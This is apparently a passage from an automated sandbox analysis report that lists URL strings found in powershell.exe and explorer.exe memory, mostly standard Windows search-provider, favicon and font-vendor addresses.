Source: powershell.exe, 0000001B.00000002.929901924.000001A03E371000.00000004.00000001.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://search-dyn.tiscali.it/
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://search.about.com/
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://search.alice.it/
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://search.alice.it/favicon.ico
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://search.aol.co.uk/
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://search.aol.com/
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://search.aol.in/
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://search.atlas.cz/
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://search.auction.co.kr/
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://search.auone.jp/
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://search.books.com.tw/
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://search.books.com.tw/favicon.ico
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://search.centrum.cz/
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://search.centrum.cz/favicon.ico
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://search.chol.com/
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://search.chol.com/favicon.ico
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://search.cn.yahoo.com/
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://search.daum.net/
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://search.daum.net/favicon.ico
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://search.dreamwiz.com/
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://search.dreamwiz.com/favicon.ico
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://search.ebay.co.uk/
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://search.ebay.com/
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://search.ebay.com/favicon.ico
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://search.ebay.de/
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://search.ebay.es/
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://search.ebay.fr/
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://search.ebay.in/
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://search.ebay.it/
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://search.empas.com/
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://search.empas.com/favicon.ico
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://search.espn.go.com/
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://search.gamer.com.tw/
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://search.gamer.com.tw/favicon.ico
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://search.gismeteo.ru/
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://search.goo.ne.jp/
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://search.goo.ne.jp/favicon.ico
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://search.hanafos.com/
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://search.hanafos.com/favicon.ico
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://search.interpark.com/
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://search.ipop.co.kr/
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://search.ipop.co.kr/favicon.ico
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://search.live.com/results.aspx?FORM=IEFM1&amp;q=
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://search.live.com/results.aspx?FORM=SO2TDF&amp;q=
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://search.live.com/results.aspx?FORM=SOLTDF&amp;q=
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://search.live.com/results.aspx?q=
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://search.livedoor.com/
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://search.livedoor.com/favicon.ico
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://search.lycos.co.uk/
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://search.lycos.com/
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://search.lycos.com/favicon.ico
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://search.msn.co.jp/results.aspx?q=
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://search.msn.co.uk/results.aspx?q=
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://search.msn.com.cn/results.aspx?q=
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://search.msn.com/results.aspx?q=
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://search.nate.com/
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://search.naver.com/
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://search.naver.com/favicon.ico
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://search.nifty.com/
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://search.orange.co.uk/
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://search.orange.co.uk/favicon.ico
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://search.rediff.com/
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://search.rediff.com/favicon.ico
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://search.seznam.cz/
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://search.seznam.cz/favicon.ico
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://search.sify.com/
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://search.yahoo.co.jp
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://search.yahoo.co.jp/favicon.ico
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://search.yahoo.com/
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://search.yahoo.com/favicon.ico
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://search.yahooapis.jp/AssistSearchService/V2/webassistSearch?output=iejson&amp;p=
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://search.yam.com/
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://search1.taobao.com/
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://search2.estadao.com.br/
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://searchresults.news.com.au/
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://service2.bfast.com/
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://sitesearch.timesonline.co.uk/
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://so-net.search.goo.ne.jp/
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://suche.aol.de/
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://suche.freenet.de/
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://suche.freenet.de/favicon.ico
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://suche.lycos.de/
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://suche.t-online.de/
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://suche.web.de/
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://suche.web.de/favicon.ico
Source: explorer.exe, 00000022.00000000.913944852.000000000D9E0000.00000002.00000001.sdmp String found in binary or memory: http://treyresearch.net
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://tw.search.yahoo.com/
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://udn.com/
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://udn.com/favicon.ico
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://uk.ask.com/
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://uk.ask.com/favicon.ico
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://uk.search.yahoo.com/
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://vachercher.lycos.fr/
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://video.globo.com/
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://video.globo.com/favicon.ico
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://web.ask.com/
Source: explorer.exe, 00000022.00000000.913944852.000000000D9E0000.00000002.00000001.sdmp String found in binary or memory: http://www.%s.com
Source: explorer.exe, 00000022.00000002.1094348803.0000000002B50000.00000002.00000001.sdmp String found in binary or memory: http://www.%s.comPA
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://www.abril.com.br/
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://www.abril.com.br/favicon.ico
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://www.afisha.ru/App_Themes/Default/images/favicon.ico
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://www.alarabiya.net/
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://www.alarabiya.net/favicon.ico
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://www.amazon.co.jp/
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://www.amazon.co.uk/
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://www.amazon.com/exec/obidos/external-search/104-2981279-3455918?index=blended&amp;keyword=
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://www.amazon.com/favicon.ico
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://www.amazon.com/gp/search?ie=UTF8&amp;tag=ie8search-20&amp;index=blended&amp;linkCode=qs&amp;c
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://www.amazon.de/
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://www.aol.com/favicon.ico
Source: explorer.exe, 00000022.00000000.909102701.000000000B976000.00000002.00000001.sdmp String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: powershell.exe, 0000001B.00000002.930160141.000001A03E57D000.00000004.00000001.sdmp String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://www.arrakis.com/
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://www.arrakis.com/favicon.ico
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://www.asharqalawsat.com/
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://www.asharqalawsat.com/favicon.ico
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://www.ask.com/
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://www.auction.co.kr/auction.ico
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://www.baidu.com/
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://www.baidu.com/favicon.ico
Source: explorer.exe, 00000022.00000000.909102701.000000000B976000.00000002.00000001.sdmp String found in binary or memory: http://www.carterandcone.coml
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://www.cdiscount.com/
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://www.cdiscount.com/favicon.ico
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://www.ceneo.pl/
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://www.ceneo.pl/favicon.ico
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://www.chennaionline.com/ncommon/images/collogo.ico
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://www.cjmall.com/
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://www.cjmall.com/favicon.ico
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://www.clarin.com/favicon.ico
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://www.cnet.co.uk/
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://www.cnet.com/favicon.ico
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://www.dailymail.co.uk/
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://www.dailymail.co.uk/favicon.ico
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://www.docUrl.com/bar.htm
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://www.etmall.com.tw/
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://www.etmall.com.tw/favicon.ico
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://www.excite.co.jp/
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://www.expedia.com/
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://www.expedia.com/favicon.ico
Source: explorer.exe, 00000022.00000000.909102701.000000000B976000.00000002.00000001.sdmp String found in binary or memory: http://www.fontbureau.com
Source: explorer.exe, 00000022.00000000.909102701.000000000B976000.00000002.00000001.sdmp String found in binary or memory: http://www.fontbureau.com/designers
Source: explorer.exe, 00000022.00000000.909102701.000000000B976000.00000002.00000001.sdmp String found in binary or memory: http://www.fontbureau.com/designers/?
Source: explorer.exe, 00000022.00000000.909102701.000000000B976000.00000002.00000001.sdmp String found in binary or memory: http://www.fontbureau.com/designers/cabarga.htmlN
Source: explorer.exe, 00000022.00000000.909102701.000000000B976000.00000002.00000001.sdmp String found in binary or memory: http://www.fontbureau.com/designers/frere-user.html
Source: explorer.exe, 00000022.00000000.909102701.000000000B976000.00000002.00000001.sdmp String found in binary or memory: http://www.fontbureau.com/designers8
Source: explorer.exe, 00000022.00000000.909102701.000000000B976000.00000002.00000001.sdmp String found in binary or memory: http://www.fontbureau.com/designers?
Source: explorer.exe, 00000022.00000000.909102701.000000000B976000.00000002.00000001.sdmp String found in binary or memory: http://www.fontbureau.com/designersG
Source: explorer.exe, 00000022.00000000.909102701.000000000B976000.00000002.00000001.sdmp String found in binary or memory: http://www.fonts.com
Source: explorer.exe, 00000022.00000000.909102701.000000000B976000.00000002.00000001.sdmp String found in binary or memory: http://www.founder.com.cn/cn
Source: explorer.exe, 00000022.00000000.909102701.000000000B976000.00000002.00000001.sdmp String found in binary or memory: http://www.founder.com.cn/cn/bThe
Source: explorer.exe, 00000022.00000000.909102701.000000000B976000.00000002.00000001.sdmp String found in binary or memory: http://www.founder.com.cn/cn/cThe
Source: explorer.exe, 00000022.00000000.909102701.000000000B976000.00000002.00000001.sdmp String found in binary or memory: http://www.galapagosdesign.com/DPlease
Source: explorer.exe, 00000022.00000000.909102701.000000000B976000.00000002.00000001.sdmp String found in binary or memory: http://www.galapagosdesign.com/staff/dennis.htm
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://www.gismeteo.ru/favicon.ico
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://www.gmarket.co.kr/
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://www.gmarket.co.kr/favicon.ico
Source: explorer.exe, 00000022.00000000.909102701.000000000B976000.00000002.00000001.sdmp String found in binary or memory: http://www.goodfont.co.kr
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://www.google.co.in/
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://www.google.co.jp/
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://www.google.co.uk/
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://www.google.com.br/
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://www.google.com.sa/
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://www.google.com.tw/
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://www.google.com/
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://www.google.com/favicon.ico
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://www.google.cz/
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://www.google.de/
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://www.google.es/
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://www.google.fr/
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://www.google.it/
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://www.google.pl/
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://www.google.ru/
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://www.google.si/
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://www.iask.com/
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://www.iask.com/favicon.ico
Source: explorer.exe, 00000022.00000000.909102701.000000000B976000.00000002.00000001.sdmp String found in binary or memory: http://www.jiyu-kobo.co.jp/
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://www.kkbox.com.tw/
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://www.kkbox.com.tw/favicon.ico
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://www.linternaute.com/favicon.ico
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://www.maktoob.com/favicon.ico
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://www.mercadolibre.com.mx/
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://www.mercadolibre.com.mx/favicon.ico
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://www.mercadolivre.com.br/
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://www.mercadolivre.com.br/favicon.ico
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://www.merlin.com.pl/
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://www.merlin.com.pl/favicon.ico
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://www.microsofttranslator.com/?ref=IE8Activity
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://www.microsofttranslator.com/BV.aspx?ref=IE8Activity&amp;a=
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://www.microsofttranslator.com/BVPrev.aspx?ref=IE8Activity
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://www.microsofttranslator.com/Default.aspx?ref=IE8Activity
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://www.microsofttranslator.com/DefaultPrev.aspx?ref=IE8Activity
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://www.mtv.com/
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://www.mtv.com/favicon.ico
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://www.myspace.com/favicon.ico
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://www.najdi.si/
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://www.najdi.si/favicon.ico
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://www.nate.com/favicon.ico
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://www.neckermann.de/
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://www.neckermann.de/favicon.ico
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://www.news.com.au/favicon.ico
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://www.nifty.com/favicon.ico
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://www.ocn.ne.jp/favicon.ico
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://www.orange.fr/
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://www.otto.de/favicon.ico
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://www.ozon.ru/
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://www.ozon.ru/favicon.ico
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://www.ozu.es/favicon.ico
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://www.paginasamarillas.es/
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://www.paginasamarillas.es/favicon.ico
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://www.pchome.com.tw/favicon.ico
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://www.priceminister.com/
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://www.priceminister.com/favicon.ico
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://www.rakuten.co.jp/favicon.ico
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://www.rambler.ru/
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://www.rambler.ru/favicon.ico
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://www.recherche.aol.fr/
